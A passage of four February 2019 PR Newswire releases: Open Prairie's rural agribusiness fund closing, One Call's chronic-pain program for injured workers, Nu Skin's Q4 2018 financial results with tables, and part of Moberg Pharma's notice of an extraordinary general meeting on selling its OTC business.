EFFINGHAM, Ill., Feb. 13, 2019 /PRNewswire/ -- Open Prairie announced that it has completed a final closing of its third fund, the Open Prairie Rural Opportunities Fund, LP, a balanced private equity fund licensed by the United States Department of Agriculture (USDA) as a Rural Business Investment Company (RBIC).

"The dynamic partnership of this investor group, consisting of Farm Credit institutions working alongside commercial banks that focus on rural and agricultural lending, creates an unparalleled opportunity for Open Prairie to provide both capital and market access to our portfolio companies," says Open Prairie Founder and Managing Partner, Jim Schultz. He further notes, "With extensive expertise in the agribusiness field, our management team and advisors have the insights and relationships to develop unique investment opportunities that will allow us to assist in accelerating growth for the companies in which we invest."

With $81 million of capital from a diverse investor base that includes 12 Farm Credit institutions, 14 commercial and community banks and several strategic, agriculture-related organizations, the Open Prairie Rural Opportunities Fund will provide debt and equity capital to growth and later-stage companies in the agribusiness sector with a focus on opportunities headquartered in rural America. To date, the Open Prairie Rural Opportunities Fund has deployed capital into three investments: Tillerman Seeds, a Michigan-based seed company specializing in the expansion of its proprietary non-GMO and organic seed lines; MyAgData, an Illinois-based developer of the industry-leading analytics platform for electronic acreage reporting and other farm management activities; and Green Dot Bioplastics, a Kansas-based company with a mission to reduce the environmental footprint of traditional plastics and to meet the growing demand for more sustainable plastics by creating and manufacturing bioplastics and biocomposites used in a variety of industries.

Open Prairie expects to build a portfolio of 12  15 investments with initial deal sizes between $2 - $5 million and additional reserves for follow-on funding. The Open Prairie team has identified several key sub-sectors within the agribusiness value chain as opportunistic, including: soil, water and crop technologies; monitoring, sensor and data analytics platforms; food safety; and value-added processing and manufacturing.

According to Patrick Morand, President of Open Prairie, "Rural America is experiencing a wave of growth from new and innovative companies. Much of this expansion is coming across a broad spectrum of agribusiness from farm through supply chain. The Open Prairie Rural Opportunities Fund is uniquely positioned to further catalyze sustainability, productivity, profitability and prosperity for today's agriculture and to serve as a valued partner in the current rural-American renaissance."

About the Open Prairie Rural Opportunities Fund

The Open Prairie Rural Opportunities Fund is an $81 million private equity fund licensed by the US Department of Agriculture (USDA) as a Rural Business Investment Company (RBIC). With a collaborative partnership comprised of investors from Farm Credit institutions, commercial and community banks, strategics, family offices and high net worth individuals committed to advancing rural America, the Open Prairie Rural Opportunities Fund is focused on providing debt and equity capital of $2 - $8 million to growth companies in food and agriculture. For more information on the Open Prairie Rural Opportunities Fund, please visit www.openprairie.com.

About Open Prairie

Open Prairie, based in the heartland of America with headquarters in Effingham, Illinois, is a multi-faceted private equity fund management firm with deep roots in rural America. Founded in 1997, Open Prairie has consistently focused on facilitating capital accessibility in underserved markets. The Open Prairie team has managed funds ranging from technology-based private equity and venture capital to farmland portfolios. Through its expertise across all functional business disciplines and an extensive network of professionals, Open Prairie works in partnership with its portfolio companies to accelerate growth while providing top-tier returns to its investors. For more information about Open Prairie, please visit www.openprairie.com.

SOURCE Open Prairie

Related Links

www.openprairie.com

JACKSONVILLE, Fla., Feb. 13, 2019 /PRNewswire/ -- One Call, the nation's leading provider of specialized healthcare solutions for the workers' compensation industry, today announced Pain Pathway, a unique injury-focused approach to pain management that leads to better patient outcomes.

Pain Pathway is the third offering within One Call's CarePaths platform, which was established to holistically view a patient and coordinate individualized care based on the injury with qualified independent providers.

Pain affects more Americans than diabetes, heart disease and cancer combined1. The total number is staggering  in the U.S. alone, 30 percent of the population, or 100 million people, suffer from chronic pain2. To make matters worse, chronic pain often leads to opioid use which often leads to opioid dependence and abuse. CDC reported that nearly half of overdoses in 2015 involved a prescription opioid3.

One Call's solution  Pain Pathway  interrupts the pain cycle by incorporating a functional restoration program (FRP), performed by a qualified inpatient Center of Excellence, into the patient treatment plan. FRPs are inter-disciplinary programs that assist injured workers in the reduction and self-management of chronic pain. Customized for each individual and overseen by a physician, FRPs often include gradually detoxing an injured worker from opioid consumption and improving overall well-being.

"Chronic pain is a battle many injured workers face," said Will Smith, chief product officer at One Call. "We want those who feel helpless to know they have options. Our Pain Pathway solution is a multi-pronged approach that includes coordinating various types of therapies, technology, education and counseling in conjunction with narcotic reduction. Our ultimate goal is always the same  coordinate the care necessary to restore an injured worker's quality of life and get them back to work."

One Call refers patients for FRPs to one of three independent inpatient Centers for Excellence within the U.S.  located in Dallas, the San Francisco Bay Area and Jacksonville. Patients can expect to complete the program within 4-6 weeks, with 6-8 hours of daily participation, depending on diagnosis.

CarePaths also includes two other offerings  Wound Pathway and Amputation Pathway  that provide individualized, injury-specific care for injured workers.

About One Call

Headquartered in Jacksonville, Florida, One Call is the nation's leading provider of specialized healthcare solutions for the workers' compensation industry. One Call arranges convenient, efficient and cost-effective healthcare for injured workers so they can get back to work and life faster. From diagnostics and medical equipment to home healthcare, physical therapy and transportation, One Call offers a complete suite of innovative products and services with a focus on injured workers' needs across the continuum of care. For more information and the latest news, visit us at onecallcm.com, LinkedIn (One Call) and Twitter (@onecallcm).

Media Contacts: Lisa Noakes

One Call, Sr. Manager, Corporate Communications & Public Relations

[email protected]

1 Health, N. I. (n.d.). NIH Facts Sheet. Retrieved from National Institute of Health: https://report.nih.gov/nihfactsheets/ViewFactSheet.aspx?csid=57

2 America is Losing the War on Chronic Pain. (n.d.). Retrieved from Healthline: https://www.healthline.com/health-news/america-is-losing-the-war-on-chronic-pain#1

3 Drug Overdose Media Release. (n.d.). Retrieved from The Centers for Disease Control and Prevention: https://www.cdc.gov/media/releases/2015/p1218-drug-overdose.html

SOURCE One Call

Related Links

www.onecallcm.com

PROVO, Utah, Feb. 13, 2019 /PRNewswire/ -- Nu Skin Enterprises, Inc. (NYSE: NUS) today announced fourth-quarter and 2018 financial results.

Executive Summary

Q4 2018 vs. Prior-Year Quarter



Revenue: $683.3 million, +3%

 (4%) fx impact or ($26.8 M) Earnings Per Share (EPS): ($0.32), or $1.05 excluding impairment and restructuring charges, compared to $0.33, or $1.20 excluding the impact of U.S. tax reform in Q4 2017

 ($1.37) impairment and restructuring charges Sales Leaders: 73,400; (10%)

 Up 16% since the end of Q1 2018 Customers: 1,244,000; +16%

2018 Annual



Revenue: $2.68 billion, +18%

 0.5% fx impact Earnings Per Share (EPS): $2.16, or $3.52 excluding the impairment and restructuring charges, compared to $2.36, or $3.23 excluding the impact of U.S. tax reform

"We delivered another strong quarter despite a challenging comparison from the $130 million LumiSpa introduction in the prior year," said Ritch Wood, chief executive officer. "We grew our revenue 18 percent for the year, with growth coming from virtually all of our segments. We were also encouraged that our customer acquisition strategy resulted in 16-percent growth in our customer base. And while our sales leader numbers were down year-over-year due to the LumiSpa introduction, we are pleased with 16 percent growth in sales leaders since the first quarter."

Q4 2018 Year-Over-Year Operating Results



Revenue: $683.3 million compared to $666.2 million

 (4%) fx impact or ($26.8 M) Gross Margin: 76.3% compared to 77.7% Nu Skin business was 77.9% Selling Expenses: 39.4% of revenue compared to 39.8%

 Nu Skin business was 40.9% G&A Expenses: 23.9% of revenue compared to 23.0% Operating Margin: 2.7% or 14.1% when excluding impairment and restructuring charges, compared to 14.9% Other Income / (Expense): ($4.3) million expense compared to ($0.4) million expense Income Tax Rate: 225% or 35.9% excluding impairment and restructuring charges, compared to 81.5% or 33.1% excluding the impact of U.S. tax reform EPS: ($0.32), or $1.05 excluding impairment and restructuring charges, compared to $0.33, or $1.20 excluding the impact of U.S. tax reform

 ($1.37) impairment and restructuring charges

Stockholder Value



Dividend Payments: $20.2 million Stock Repurchases: $21.3 million; $471 million remaining in authorization

Q1 and Full-Year 2019 Outlook



Q1 2019 Revenue: $615 to $635 million, 0 to 3% growth

 6 to 8% constant currency growth

 Approximately (5 to 6%) fx impact Q1 2019 EPS: $0.70 to $0.77 2019 Revenue: $2.76 billion to $2.82 billion, 3 to 5% growth

 5 to 7% constant currency growth

 Approximately (2 to 3%) fx impact 2019 EPS $3.80 to $4.05

"We are entering 2019 with strong momentum and are projecting meaningful constant-currency top-line growth with continued improvement on the bottom line," said Wood. "We believe 2019 will be a pivotal year as we transform our digital platform to better support customers, while further enabling our sales leaders to leverage the power of social selling. Our product portfolio remains strong, and we plan to build on the breakout success of our LumiSpa skin treatment and cleansing device with the launch of LumiSpa Accent, a specialized eye treatment attachment. On the program front, our Velocity enhanced sales compensation program has now been rolled out in nearly every market, providing us with ongoing flexibility to drive and reward key behaviors from our sales force. We believe we can continue to grow our business and look forward to a strong 2019," Wood concluded.

"Coming off a strong year, we are projecting continued growth in 2019," said Mark Lawrence, chief financial officer. "We project first-quarter revenue of $615 to $635 million, including an approximate 5 to 6 percent negative currency impact, and earnings per share of $0.70 to $0.77. For the year, we are projecting annual revenue of $2.76 to $2.82 billion with a projected 2 to 3 percent negative foreign currency impact and earnings per share of $3.80 to $4.05. We look forward to providing additional details regarding our guidance and 2019 growth initiatives at our investor day event which will be held Feb. 28 at our headquarters," concluded Lawrence.

Conference Call

The Nu Skin management team will host a conference call with the investment community on Feb. 13, 2019, at 5 p.m. (ET). Those wishing to access the webcast, as well as the financial information presented during the call, can visit the Investor Relations page on the company's website at ir.nuskin.com. A replay of the webcast will be available at the same URL through Feb. 27, 2019.

About Nu Skin Enterprises, Inc.

Founded more than 30 years ago, Nu Skin Enterprises, Inc. develops and distributes innovative consumer products, offering a comprehensive line of premium-quality beauty and wellness solutions. The company builds upon its scientific expertise in both skin care and nutrition to continually develop innovative product brands that include the Nu Skin personal care brand, the Pharmanex nutrition brand, and most recently, the ageLOC anti-aging brand. The ageLOC brand has generated a loyal following for such products as the ageLOC LumiSpa skin cleansing and treatment device, ageLOC Youth nutritional supplement, the ageLOC Me customized skin care system, as well as the ageLOC TR90 weight management and body shaping system. Nu Skin sells its products through a global network of sales leaders in Asia, the Americas, Europe, Africa and the Pacific. As a long-standing member of direct selling associations globally, Nu Skin is committed to the industry's consumer guidelines that protect and support those who sell and purchase its products through the direct selling channel. Nu Skin is also traded on the New York Stock Exchange under the symbol "NUS." More information is available at nuskin.com.

Important Information Regarding Forward-Looking Statements: This press release contains forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended, that represent the company's current expectations and beliefs. All statements other than statements of historical fact are "forward-looking statements" for purposes of federal and state securities laws and include, but are not limited to, statements of management's expectations regarding the company's performance, growth, product launches, strategies and initiatives; projections regarding revenue, earnings per share, foreign currency fluctuations and other financial items; statements of belief; and statements of assumptions underlying any of the foregoing. In some cases, you can identify these statements by forward-looking words such as "believe," "expect," "project," "anticipate," "estimate," "intend," "plan," "continue," "targets," "likely," "will," "would," "could," "may," "might," the negative of these words and other similar words.

The forward-looking statements and related assumptions involve risks and uncertainties that could cause actual results and outcomes to differ materially from any forward-looking statements or views expressed herein. These risks and uncertainties include, but are not limited to, the following:

adverse publicity related to the company's business, products, industry or any legal actions or complaints by the company's sales force or others;

risk that direct selling laws and regulations in any of our markets, including the United States and Mainland China, may be modified, interpreted or enforced in a manner that results in negative changes to our business model or negatively impacts our revenue, sales force or business, including through the interruption of sales activities, loss of licenses, imposition of fines, or any other adverse actions or events;

any failure of current or planned initiatives or products to generate interest among the company's sales force and customers and generate sponsoring and selling activities on a sustained basis;

risk of foreign currency fluctuations and the currency translation impact on the company's business associated with these fluctuations;

uncertainties regarding the future financial performance of the company's recent acquisitions;

risks related to accurately predicting, delivering or maintaining sufficient quantities of products to support our planned initiatives or launch strategies, and increased risk of inventory write-offs if the company over-forecasts demand for a product or changes its planned initiatives or launch strategies;

regulatory risks associated with the company's products, which could require the company to modify its claims or inhibit the company's ability to import or continue selling a product in a market if it is determined to be a medical device or if it is unable to register the product in a timely manner under applicable regulatory requirements;

unpredictable economic conditions and events globally;

uncertainties related to interpretation of, and forthcoming regulations under, the recently enacted U.S. tax reform legislation; the company's future tax-planning initiatives; any prospective or retrospective increases in duties on the company's products imported into the company's markets outside of the United States ; and any adverse results of tax audits or unfavorable changes to tax laws in the company's various markets; and

continued competitive pressures in the company's markets.

The company's financial performance and the forward-looking statements contained herein are further qualified by a detailed discussion of associated risks set forth in the documents filed by the company with the Securities and Exchange Commission. The forward-looking statements set forth the company's beliefs as of the date that such information was first provided and the company assumes no duty to update the forward-looking statements contained in this release to reflect any change except as required by law.

Non-GAAP Financial Measures: Constant-currency revenue growth is a non-GAAP financial measure that removes the impact of fluctuations in foreign-currency exchange rates, thereby facilitating period-to-period comparisons of the company's performance. It is calculated by translating the current period's revenue at the same average exchange rates in effect during the applicable prior-year period and then comparing this amount to the prior-year period's revenue. Operating margin, income tax rate and earnings per share, each excluding impairment and restructuring charges and/or the impact of tax reform, also are non-GAAP financial measures. Impairment and restructuring charges are not part of the ongoing operations of our underlying business. The U.S. tax reform legislation was enacted in December 2017 and had a material impact on our tax rate and earnings per share. Removing the impact of these items facilitates period-to-period comparisons of the company's performance. Please see the reconciliations of these items to our operating margin, income tax rate and earnings per share calculated under GAAP, below.

The Company's revenue results by segment for the three-month periods ended December 31 are presented in the following table (in thousands).



2018

2017

% Change

Constant

Currency

% Change















Mainland China $ 217,040

$ 222,333

(2%)

2% Americas/Pacific 95,175

102,335

(7%)

3% South Korea 102,840

103,066



2% Southeast Asia 80,500

73,920

9%

13% Japan 63,953

67,620

(5%)

(6%) Hong Kong/Taiwan 47,746

46,627

2%

4% EMEA 50,584

47,890

6%

10% Other 25,449

2,410

956%

956% Total $ 683,287

$ 666,201

3%

7%

The Company's revenue results by segment for the year ended December 31 are presented in the following table (in thousands).



2018

2017

% Change

Constant

Currency

% Change















Mainland China $ 886,472

$ 716,991

24%

21% Americas/Pacific 385,034

342,429

12%

20% South Korea 373,357

361,692

3%

1% Southeast Asia 316,890

268,631

18%

18% Japan 254,939

256,085



(2%) Hong Kong/Taiwan 185,893

166,696

12%

11% EMEA 182,394

160,275

14%

10% Other 94,029

6,300

1,393%

1,393% Total $ 2,679,008

$ 2,279,099

18%

17%

The company's Customers and Sales Leaders statistics by segment for the three-month periods ended December 31 are presented in the following table.



2018

2017

% Increase (Decrease)



Customers

Sales

Leaders

Customers

Sales

Leaders

Customers

Sales

Leaders

























Mainland China

304,000

33,100

193,000

40,600

58%

(18%) Americas/Pacific

249,000

8,300

244,000

8,900

2%

(7%) South Korea

182,000

7,600

173,000

8,400

5%

(10%) Southeast Asia

153,000

8,900

122,000

8,000

25%

11% Japan

130,000

5,900

132,000

6,600

(2%)

(11%) Hong Kong/Taiwan

77,000

4,800

71,000

4,700

8%

2% EMEA

149,000

4,800

135,000

4,700

10%

2%

























Total

1,244,000

73,400

1,070,000

81,900

16%

(10%)











"Customers" are persons who purchased products directly from the company during the previous three months. Our Customer numbers do not include consumers who purchase products directly from members of our sales force. "Sales Leaders" are independent distributors, and sales employees and independent marketers in China, who achieve certain qualification requirements.

NU SKIN ENTERPRISES, INC. Consolidated Statements of Income (Unaudited) (in thousands, except per share amounts)



Three Months Ended

Years Ended

December 31,

December 31,

2018

2017

2018

2017















Revenue $ 683,287

$ 666,201

$ 2,679,008

$ 2,279,099 Cost of sales 161,853

148,459

634,140

502,078















Gross profit 521,434

517,742

2,044,868

1,777,021















Operating expenses:













Selling expenses 269,052

265,378

1,071,020

938,024 General and administrative expenses 163,265

153,244

662,302

564,514 Restructuring and impairment expenses 70,686



70,686

















Total operating expenses 503,003

418,622

1,804,008

1,502,538















Operating income 18,431

99,120

240,860

274,483 Other income (expense), net (4,254)

(446)

(21,194)

(8,916)















Income before provision for income taxes 14,177

98,674

219,666

265,567 Provision for income taxes 31,936

80,439

97,779

136,130















Net income $ (17,759)

$ 18,235

$ 121,887

$ 129,437















Net income per share:













Basic $ (0.32)

$ 0.35

$ 2.21

$ 2.45 Diluted $ (0.32)

$ 0.33

$ 2.16

$ 2.36















Weighted-average common shares outstanding (000s):













Basic 55,453

52,722

55,170

52,806 Diluted 56,341

55,053

56,476

54,852

NU SKIN ENTERPRISES, INC. Consolidated Balance Sheets (Unaudited) (in thousands)









December 31,

2018

December 31,

2017 ASSETS





Current assets:





Cash and cash equivalents $ 386,911

$ 426,399 Current investments 11,346

11,847 Accounts receivable 53,282

33,196 Inventories, net 295,821

253,454 Prepaid expenses and other 51,877

52,893

799,237

777,789







Property and equipment, net 464,535

464,587 Goodwill 196,573

114,954 Other intangible assets, net 89,989

67,647 Other assets 144,112

164,895 Total assets $ 1,694,446

$ 1,589,872







LIABILITIES AND STOCKHOLDERS' EQUITY





Current liabilities:





Accounts payable $ 47,617

$ 50,341 Accrued expenses 322,583

319,189 Current portion of long-term debt 69,455

77,840

439,655

447,370







Long-term debt 361,008

310,790 Other liabilities 111,916

127,116 Total liabilities 912,579

885,276







Stockholders' equity:





Class A common stock 91

91 Additional paid-in capital 552,564

466,349 Treasury stock, at cost (1,326,605)

(1,304,694) Accumulated other comprehensive loss (79,934)

(66,318) Retained earnings 1,635,751

1,609,168

781,867

704,596 Total liabilities and stockholders' equity $ 1,694,446

$ 1,589,872

NU SKIN ENTERPRISES, INC. Reconciliation of Earnings Per Share Excluding Impact of Restructuring and Tax Reform to GAAP Earnings Per Share (in thousands, except per share amounts)



Three Months Ended

Years Ended

December 31,

December 31,

2018

2017

2018

2017















Net income $ (17,759)

$ 18,235

$ 121,887

$ 129,437 Impact of restructuring and impairment:













Restructuring and impairment 70,686



70,686

 Inventory write-off 7,240



7,240

 Income tax impact (1,086)



(1,086)

 Impact of tax reform on provision for income taxes 

47,729



47,729 Adjusted net income $ 59,081

$ 65,964

$ 198,727

$ 177,166















Diluted earnings per share $ (0.32)

$ 0.33

$ 2.16

$ 2.36 Diluted earning per share, excluding restructuring and tax reform impact $ 1.05

$ 1.20

$ 3.52

$ 3.23















Weighted-average common shares outstanding (000s): 56,341

55,053

56,476

54,852

NU SKIN ENTERPRISES, INC. Reconciliation of Operating Margin Excluding Impact of Restructuring to GAAP Operating Margin (in thousands, except per share amounts)



Three Months Ended

Years Ended

December 31,

December 31,

2018

2017

2018

2017















Operating income $ 18,431

$ 99,120

$ 240,860

$ 274,483 Impact of restructuring and impairment:













Restructuring and impairment 70,686



70,686

 Inventory write-off 7,240



7,240

 Adjusted operating income $ 96,357

$ 99,120

$ 318,786

$ 274,483















Operating margin 2.7%

14.9%

9.0%

12.0% Operating margin, excluding restructuring impact 14.1%

14.9%

11.9%

12.0%















Revenue $ 683,287

$ 666,201

$ 2,679,008

$ 2,279,099

NU SKIN ENTERPRISES, INC. Reconciliation of Effective Tax Rate Excluding Impact of Restructuring and Tax Reform to GAAP Effective Tax Rate (in thousands, except per share amounts)



Three Months Ended

Years Ended

December 31,

December 31,

2018

2017

2018

2017















Provision for income taxes $ 31,936

$ 80,439

$ 97,779

$ 136,130 Impact of restructuring on tax provision 1,086



1,086

 Impact of tax reform on provision for income taxes 

(47,729)



(47,729) Provision for income taxes, excluding impact of restructuring and tax reform $ 33,022

$ 32,710

$ 98,865

$ 88,401















Income before provision for income taxes $ 14,177

$ 98,674

$ 219,666

$ 265,567 Impact of restructuring and impairment:













Restructuring and impairment 70,686



70,686

 Inventory write-off 7,240



7,240

 Income before provision for income taxes, excluding impact of restructuring and tax reform $ 92,103

$ 98,674

$ 297,592

$ 265,567















Effective tax rate 225.3%

81.5%

44.5%

51.3% Effective tax rate, excluding restructuring and tax reform impact 35.9%

33.1%

33.2%

33.3%

Nu Skin Social Media Channels

 fb.com/nuskin  twitter.com/nuskin  instagram.com/nuskin

SOURCE Nu Skin Enterprises, Inc.

Related Links

http://www.nuskin.com

STOCKHOLM, Feb. 13, 2019 /PRNewswire/ -- Shareholders in Moberg Pharma AB (publ) (reg. no. 556697-7426) (the "Company") are hereby convened to the Extraordinary General Meeting on Friday, March 15, 2019 at 3.00 p.m. (CET) in the Company's premises in Bromma, address Gustavslundsvagen 42, 5 tr, 167 51 Bromma (Alviks torg), Sweden.

Attendance at the Extraordinary General Meeting

Shareholders who wish to participate in the Extraordinary General Meeting must:

- be recorded in the share register maintained by Euroclear Sweden AB ("Euroclear"), on Saturday, March 9, 2019 (since the record date is a Saturday, shareholders must make sure to be entered in the share register on Friday, March 8, 2019), and

- give notice of attendance to the Company under address: Moberg Pharma AB (publ), Gustavslundsvagen 42, 5 tr, 167 51 Bromma, Sweden att. Malin Nilsson or by e-mail to [email protected], at the latest on Monday, March 11, 2019, preferably before 4:00 p.m. (CET).

When giving notice of attendance, shareholders must state their name, civil registration number or corporate registration number, address, telephone number and, where applicable, number of accompanying assistants (no more than two). Shareholders can participate and vote at the Extraordinary General Meeting personally or by proxy. Shareholders whose shares are registered in the name of a nominee must, in order to be entitled to participate in the Extraordinary General Meeting, with the help of the nominee, re-register their shares in their own names in the share register maintained by Euroclear, so that they are registered on Saturday, March 9, 2019 (since the record date is a Saturday, shareholders who wish to make such re-registration should inform their nominee well in advance of Friday, March 8, 2019).

Shareholders represented by proxy should submit a power of attorney in original, along with other authorization documents, when giving notice of attendance to the Extraordinary General Meeting. A power of attorney may be valid for up to five years from issuance. The Company provides forms of power of attorney on the Company's website www.mobergpharma.se. Representatives of legal persons must present a copy of the legal person's certificate of registration or other equivalent document demonstrating the right to act on behalf of the legal person.

Number of shares and votes

As per the date of this notice, there are a total of 17,703,762 shares and votes in the Company. The Company holds 263,000 ordinary shares.

Proposed agenda

Opening of the Meeting Election of Chairman of the Meeting Preparation and approval of the voting list Election of one or two persons to verify the minutes Determination whether the Meeting has been duly convened Approval of the agenda Resolutions in connection to a proposed divestment of the Company's OTC-business:

a) Proposal for resolution on approval of the proposed Transaction

b) Proposal for resolution on conversion of the Company's financial year and thereto related amendments of the articles of association

c) Proposal for resolution to instate a new share class, redeemable and convertible series B shares, and thereto related amendments of the articles of association

d) Proposal for resolution regarding authorization for the Board of Directors to issue redeemable and convertible series B shares, with deviation from the shareholders' pre-emptive rights

e) Proposal for resolution regarding authorization for the Board of Directors to issue warrants, with deviation from the shareholders' pre-emptive rights

f) Proposal for the appointment of Andrew B. Hochman , the Purchaser's nominee to the Board of Directors of the Company, conditional upon, and with effect from, closing of the Transaction Closing of the Meeting



Proposals for resolution

Election of Chairman of the Meeting (Item 2)

The Board of Directors proposes to elect the Chairman of the Board of Directors in the Company, Thomas Eklund, as Chairman of the Extraordinary General Meeting.

Resolutions in connection to a proposed divestment of the Company's OTC-business (Item 7)

The proposals pursuant to item 7 are conditional upon the Extraordinary General Meeting resolving to approve all proposals under this item.

a) Proposal for resolution on approval of the proposed Transaction (Item 7 a)

Background and summary of the Transaction

On 12 February 2019, the Company announced that it entered into an agreement (the "SPA") with a holding company owned by RoundTable Healthcare Partners and Signet Healthcare Partners (the "Purchaser"), relating to the sale and purchase of the entire share capital in the Company's subsidiary, MPJ OTC AB, and all of the units in Moberg Pharma North America, LLC, pursuant to which the Purchaser shall acquire (the "Acquisition"), subject to the terms and the conditions of the SPA (see below), the Company's entire global consumer health business comprising both direct and distributor sales under the over-the-counter brands Kerasal, Kerasal Nail, New Skin, Dermoplast, Domeboro, Emtrix and Zanmira, including all assets and liabilities related to such business (the "OTC-business") for cash consideration of USD 155 million (subject to working capital adjustments) (the "Purchase Price"). The Company intends to use the net proceeds from the Purchase Price to redeem its outstanding bonds and make a payment to its shareholders.

In connection with the Acquisition, the Company will, shortly before the closing of the Acquisition, enter into an asset transfer agreement with MPJ OTC AB, pursuant to which the Company will to transfer certain assets and liabilities (the "Asset Transfer") which it holds in the OTC-business to MPJ OTC AB.

In connection with the Acquisition and the Asset Transfer, the Company will also enter into a transitional services agreement, pursuant to which the Company will provide certain services to MPJ OTC AB with respect to the OTC-business.

In addition to the Acquisition, the Purchaser and the Company have entered into: (i) an investment and subscription agreement pursuant to which the Purchaser has agreed to subscribe for, and the Company has agreed to issue and allot newly issued series B shares in the capital of the Company at a subscription price of SEK 35.16 per share, for an aggregate subscription price of USD 2.5 million; (ii) an investment and warrant instrument agreement pursuant to which the Purchaser has agreed to: (A) subscribe for, and the Company has agreed to issue and allot, 659,421 warrants, each of which entitles the holder to subscribe for one new ordinary share in the capital of the Company at a subscription price of SEK 35.16 per share, equalling a total of SEK 23,185,242 upon such warrants being fully exercised; and (B) grant a loan to the Company for an aggregate principal amount of USD 2.5 million, to be advanced to the Company in connection with closing of the Acquisition.

In connection with the Acquisition, the Purchaser has obtained the benefit of representations and warranties insurance as the Purchaser's sole recourse under the SPA in respect of the business warranties given by the Company under the SPA. In the absence of any fraud on the part of the Company, the liability of the Company in respect of such business warranties is limited to USD 1.

The transaction as described in this item 7 (the "Transaction") will enable the Company to further focus resources on the development and commercialization of the Company's MOB-015 pipeline program and to distribute significant value to its shareholders.

Voting Undertakings

All of the members of the Board of Directors holding shares in the capital of the Company and certain other shareholders who hold shares in the capital of the Company have given irrevocable undertakings to the Purchaser to vote in favour of the Transaction. The undertakings together are in respect of, in aggregate, 6,836,225 of shares representing approximately 38.6% of the share capital of the Company.

Recommendation

The Transaction is, inter alia, conditional upon shareholder approval at a general meeting in the Company. Against the background provided in this notice, the Board of Directors of the Company consider the terms of the Transaction to be fair and reasonable and in the best interests of the Company and its shareholders. Accordingly, the Board of Directors unanimously recommend that the Extraordinary General Meeting approves by voting in favour of the Transaction on the main terms set out in this item 7 a), including the consequential proposals to be approved in connection with the Transaction as set out in items 7 b) to f) below. The recommendation by the Board of Directors is supported by a diligent auction process conducted by the Company's financial advisor Sawaya Partners LLC aimed at providing the Company and the shareholders with the best possible transaction outcome in terms of value and deal certainty, where multiple third party transaction proposals and offers were evaluated, and where this Transaction was compared with similar transactions, of which this Transaction was determined by the Board of Directors to offer the shareholders the best value and highest level of deal certainty. The Board of Directors, accordingly, based on this process, found the current Transaction to be fair and reasonable and in the best interests of the Company and its shareholders.

Information in connection to the Board of Director's proposal

At least one week prior to the Extraordinary General Meeting, the Board of Directors will publish an information document containing detailed information on the Transaction and on the Company's business going forward.

Transaction rationale

The rationale for the Transaction is mainly to:

to realize the value the Company has created in developing its OTC-business over the last five years;

provide continued funding to support on-going development of MOB-015; and



allow for the Company and management to be focused on value creating development and commercialization of MOB-015.

Conditions for closing of the Transaction

The Transaction is conditional on, inter alia:

the passing at a general meeting in Moberg Pharma of a resolution to approve the contemplated Transaction and any other steps related thereto, passed with the relevant required majority;

the waiting period (and any extension thereof) applicable to the SPA and the Transaction under the HSR Act (Hart-Scott-Rodino Antitrust Improvements Act) shall have been terminated or shall have expired;

certain fundamental warranties under the SPA being true, accurate and not misleading on closing of the Transaction; and

the Purchaser having received debt financing on certain specified terms.

Termination Fee

If all other conditions are satisfied, but the Purchaser fails to secure debt financing to fund the Transaction and the Company is otherwise able to close on the Transaction, the Purchaser will be liable to pay the Company a termination fee of USD 6 million.

Reimbursement of expenses

If the Board of Directors of the Company change its recommendation to the shareholders set out in this notice or the shareholders vote against the proposals put forward by the Board of Directors in connection with the Transaction, the Purchaser will be entitled to terminate the SPA and the Company will be obliged to reimburse the Purchaser of any direct external expenses incurred in connection with the Transaction.

Purchase price

The purchase price for the OTC-business consists of a cash consideration of USD 155 million (subject to working capital adjustment). The purchase price will be paid by the Purchaser on closing.

The Company intends to use the remaining part of the Purchase Price net of the Company's transaction expenses and cash retained for the MOB-015 development program to redeem the Company's outstanding bonds with a total nominal amount of SEK 600 million at a call premium of 104 % and to make a payment to its shareholders (the "OTC-dividend"). It is the Company's current estimate that the OTC-dividend is expected to amount to approximately SEK 4345 per ordinary share in the Company. The definitive OTC-dividend will be announced by the Company through a press release well in advance of the payment to the shareholders of the Company.

Investment and subscription undertakings

The Purchaser has undertaken to invest in the Company's remaining business on the closing date or as soon as possible thereafter, through:

(i) subscribing for in an aggregate subscription amount of USD 2.5 million newly issued series B shares at a subscription price of SEK 35.16 per share;

(ii) subscribing for 659,421 warrants without consideration, each of which will give the holder a right to subscribe for one newly issued ordinary share at a subscription price of SEK 35.16 per share; and

(iii) providing a loan with a total nominal amount of maximum USD 2.5 million (the "Loan").

Closing

Subject to satisfaction or waiver (as applicable) of the conditions (noted above), closing of the Transaction is planned to take place on 29 March 2019. The SPA may be terminated by either party if closing has not occurred by 10 April 2019.

Miscellaneous

The Company contemplates to pay the OTC-dividend to its shareholders through a share split and redemption of shares, although the payout procedure is still subject to final decision. The new shares to be subscribed for by the Purchaser on closing, or later though exercising the warrants, will not entitle the holder to the OTC-dividend. In order to pay the OTC-dividend during 2019, it is proposed that the Company's financial year is converted from calendar year to broken financial year, whereby the last day of the current financial year will be 30 June 2019 (see item 7 b) below).

At the Annual General Meeting for the current financial year, 1 January30 June 2019, the Board of Directors will propose that the Annual General Meeting resolves to make a share split and a redemption of shares and to convert the Company's financial year from a broken financial year, back to a calendar year.

Below is an indicative high-level timetable for the Transaction and payment of the OTC-dividend to the shareholders of the Company.

Date: Event:













12 February 2019 Announcement of Transaction



15 February 2019 Announcement of notice of Extraordinary General Meeting in the Swedish Official Gazette 15 March 2019 Extraordinary General Meeting End of March 2019 Closing, including that the Purchaser (i) pays the Purchase Price, (ii) extends the Loan and (iii) subscribes for the new series B shares and the warrantsNotice of redemption of the Company's bonds End of April 2019 Redemption of the Company's bonds 30 June 2019 Last day of shortened financial year End of September 2019 Annual general meeting for shortened financial year resolving on among other things payment of the OTC-dividend to shareholders End of October 2019 Payment of OTC-dividend to shareholders

b) Proposal for resolution on conversion of the Company's financial year and thereto related amendments of the articles of association (Item 7 b)

The Board of Directors proposes that the Extraordinary General Meeting resolves to convert the Company's financial year from calendar year to broken financial year, 1 July30 June. In connection therewith, the Board of Directors proposes that the current financial year is shortened to only cover a period of six months. If the Extraordinary General Meeting resolves in accordance with the Board of Director's proposal, the last day of the current financial year will be 30 June 2019.

In view of the above, the Board of Directors also proposes that the Extraordinary General Meeting resolves to amend the current  11 of the articles of association, whereby this will receive the following wording:

"13. Financial year

The financial year of the company shall be 1/730/6."

The articles of association with the proposed new wording are attached in their entirety as Appendix 1 to the Board of Director's full proposal.

c) Proposal for resolution to instate a new share class, redeemable and convertible series B shares, and thereto related amendments of the articles of association (Item 7 c)

